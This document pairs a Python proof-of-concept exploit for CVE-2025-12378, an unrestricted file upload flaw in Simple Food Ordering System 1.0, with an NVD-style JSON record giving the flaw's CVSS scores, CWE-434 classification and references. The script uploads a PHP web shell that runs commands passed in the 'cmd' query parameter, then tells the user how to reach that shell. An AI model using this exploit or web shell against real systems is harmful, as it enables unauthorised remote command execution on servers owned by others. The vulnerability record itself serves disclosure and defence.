CVE-2025-12378

import requests import sys # CVE-2025-12378 PoC - Simple Food Ordering System 1.0 Unrestricted File Upload # Target: /addproduct.php # Vulnerability: Unrestricted upload via photo parameter def upload_shell(target_url, file_path='shell.php'): """ Upload malicious PHP shell to target server """ upload_url = f"{target_url.rstrip('/')}/addproduct.php" # Prepare malicious PHP shell shell_content = '<?php system($_GET["cmd"]); ?>' # Create multipart form data files = { 'photo': (file_path, shell_content, 'application/x-php') } # Additional required fields (may vary) data = { 'name': 'Malicious Product', 'price': '999', 'category': '1', 'description': 'Injected via CVE-2025-12378' } try: print(f"[*] Uploading shell to {upload_url}...") response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print("[*] Check if shell was uploaded to /uploads/ or similar directory") print("[*] Access shell: http://target/uploads/shell.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12378.py <target_url>") print("Example: python cve-2025-12378.py http://localhost/food-ordering") sys.exit(1) target = sys.argv[1] upload_shell(target)

{"cve": {"id": "CVE-2025-12378", "sourceIdentifier": "[email protected]", "published": "2025-10-28T06:15:39.697", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in code-projects Simple Food Ordering System 1.0. This issue affects some unknown processing of the file /addproduct.php. Performing manipulation of the argument photo results in unrestricted upload. The attack may be initiated remotely. The exploit has been released to the public and may be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:simple_food_ordering_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "A79BB63C-FF08-4190-BC96-A24DC587AD07"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/tinggeogle01-lang/cve/issues/1", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.330214", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.330214", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674562", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}